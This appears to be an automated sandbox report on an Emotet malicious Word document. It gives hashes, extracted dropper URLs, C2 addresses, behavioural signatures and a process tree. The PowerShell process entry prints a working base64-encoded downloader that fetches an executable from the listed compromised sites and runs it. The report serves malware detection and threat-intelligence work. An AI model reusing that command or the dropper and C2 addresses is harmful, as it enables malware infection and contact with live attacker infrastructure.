emotet | d97208d7575d1682fd3a67a8d2910b2a9d2dc86a9611994d0d4693f7974d6b3f

General

Target

emotet_e3_d97208d7575d1682fd3a67a8d2910b2a9d2dc86a9611994d0d4693f7974d6b3f_2020-07-29__021156._doc.doc
Size

170KB
MD5

a23ef888646e22e26768de8fe75e2032
SHA1

943a908ed0e50c789029cb9ce9316f7c7686ce1c
SHA256

d97208d7575d1682fd3a67a8d2910b2a9d2dc86a9611994d0d4693f7974d6b3f
SHA512

3072b360794302cf6f14cec8662bd27df6d17e5865cdfeabbdc13de5bb9197c463a24f3fa86624ce17cf9bb94f9d6abd36afc57c5e1101e4ca590ff63197a31e

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://mossfs.com.au/wp-content/fVrTuWOb/

exe.dropper

https://rtisistemas.com.br/jdetsob/Ov3a8106w4g7x17030547/

exe.dropper

http://slbqms.co.ls/cgi-bin/CHrsuXU/

exe.dropper

http://sertcom.net/_vti_bin/LiUoBmTHW/

exe.dropper

http://skpsoft.com/wp-admin/YnsFh/

Extracted

Family

emotet

C2

177.37.81.212:443

74.207.230.187:8080

190.164.75.175:80

87.252.100.28:80

105.209.239.55:80

163.172.107.70:8080

37.208.106.146:8080

24.157.25.203:80

212.112.113.235:80

140.207.113.106:443

75.139.38.211:80

192.210.217.94:8080

46.49.124.53:80

75.127.14.170:8080

87.106.231.60:8080

139.59.12.63:8080

181.167.35.84:80

201.214.108.231:80

74.208.173.91:8080

189.146.1.78:443

rsa_pubkey.plain

Signatures

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3928-12-0x0000000000560000-0x000000000056C000-memory.dmp	emotet
behavioral2/memory/3068-15-0x00000000020F0000-0x00000000020FC000-memory.dmp	emotet

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\ShareHost\AppVTerminator.exe	49.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2668	412	powersheLL.exe	66

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2668	powersheLL.exe
2668	powersheLL.exe
2668	powersheLL.exe
3068	AppVTerminator.exe
3068	AppVTerminator.exe
3068	AppVTerminator.exe
3068	AppVTerminator.exe
3068	AppVTerminator.exe
3068	AppVTerminator.exe

Executes dropped EXE 2 IoCs

pid	Process
3928	49.exe
3068	AppVTerminator.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3928 wrote to memory of 3068	3928	49.exe	77
PID 3928 wrote to memory of 3068	3928	49.exe	77
PID 3928 wrote to memory of 3068	3928	49.exe	77

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3928	49.exe
3928	49.exe
3068	AppVTerminator.exe
3068	AppVTerminator.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3712	WINWORD.EXE
3712	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2668	powersheLL.exe

Blacklisted process makes network request 1 IoCs

flow	pid	Process
18	2668	powersheLL.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_d97208d7575d1682fd3a67a8d2910b2a9d2dc86a9611994d0d4693f7974d6b3f_2020-07-29__021156._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:3712

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABZAFEAUABBAE8AYQBzAHIAPQAnAFkARABOAFIATQByAGoAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwB1AFIAYABpAFQAWQBwAFIAYABPAFQATwBgAEMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABEAEIAQQBKAEcAawBtAGUAIAA9ACAAJwA0ADkAJwA7ACQATgBGAEQASQBNAGQAaABjAD0AJwBQAEEARQBIAFQAbABwAGMAJwA7ACQAVwBSAFkAUwBZAHMAeABpAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABEAEIAQQBKAEcAawBtAGUAKwAnAC4AZQB4AGUAJwA7ACQAVwBDAFkAQQBHAHkAeQBlAD0AJwBNAFAASgBaAEQAagBiAHIAJwA7ACQAWABLAEQAQQBLAGIAegBzAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABuAGUAVAAuAHcAZQBiAEMATABJAEUATgB0ADsAJABHAEQAVwBHAFUAZwBsAGQAPQAnAGgAdAB0AHAAcwA6AC8ALwBtAG8AcwBzAGYAcwAuAGMAbwBtAC4AYQB1AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGYAVgByAFQAdQBXAE8AYgAvACoAaAB0AHQAcABzADoALwAvAHIAdABpAHMAaQBzAHQAZQBtAGEAcwAuAGMAbwBtAC4AYgByAC8AagBkAGUAdABzAG8AYgAvAE8AdgAzAGEAOAAxADAANgB3ADQAZwA3AHgAMQA3ADAAMwAwADUANAA3AC8AKgBoAHQAdABwADoALwAvAHMAbABiAHEAbQBzAC4AYwBvAC4AbABzAC8AYwBnAGkALQBiAGkAbgAvAEMASAByAHMAdQBYAFUALwAqAGgAdAB0AHAAOgAvAC8AcwBlAHIAdABjAG8AbQAuAG4AZQB0AC8AXwB2AHQAaQBfAGIAaQBuAC8ATABpAFUAbwBCAG0AVABIAFcALwAqAGgAdAB0AHAAOgAvAC8AcwBrAHAAcwBvAGYAdAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AWQBuAHMARgBoAC8AJwAuACIAcwBwAGwAYABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABVAEgARABXAEcAeQBtAGMAPQAnAFUAVgBVAEcAWABvAGgAZwAnADsAZgBvAHIAZQBhAGMAaAAoACQAWQBHAE8AVQBYAG0AbgB0ACAAaQBuACAAJABHAEQAVwBHAFUAZwBsAGQAKQB7AHQAcgB5AHsAJABYAEsARABBAEsAYgB6AHMALgAiAGQAYABvAFcATgBsAG8AYABBAGAARABGAGkAbABlACIAKAAkAFkARwBPAFUAWABtAG4AdAAsACAAJABXAFIAWQBTAFkAcwB4AGkAKQA7ACQATQBOAFkARgBLAGgAbgB2AD0AJwBYAFAAVwBVAEYAYgBxAHUAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABXAFIAWQBTAFkAcwB4AGkAKQAuACIATABlAG4AZwBgAFQAaAAiACAALQBnAGUAIAAzADUAOQA1ADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGUAYQB0AGUAIgAoACQAVwBSAFkAUwBZAHMAeABpACkAOwAkAFoAVgBaAE8ARQBlAGUAaQA9ACcARwBSAFUAUwBYAGsAcABkACcAOwBiAHIAZQBhAGsAOwAkAFAAWABWAEoATABrAG8AbgA9ACcAWgBQAFMAUABEAHQAaQBoACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AWgBVAEEARwB5AHIAcAA9ACcAQwBXAFoASwBRAHgAdABlACcA
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
PID:2668

C:\Users\Admin\49.exe
C:\Users\Admin\49.exe
1⤵
- Drops file in System32 directory
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
PID:3928
- C:\Windows\SysWOW64\ShareHost\AppVTerminator.exe
  "C:\Windows\SysWOW64\ShareHost\AppVTerminator.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:3068

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3068-15-0x00000000020F0000-0x00000000020FC000-memory.dmp

Filesize
48KB

Download
memory/3712-4-0x000002672543E000-0x0000026725443000-memory.dmp

Filesize
20KB

Download
memory/3928-12-0x0000000000560000-0x000000000056C000-memory.dmp

Filesize
48KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads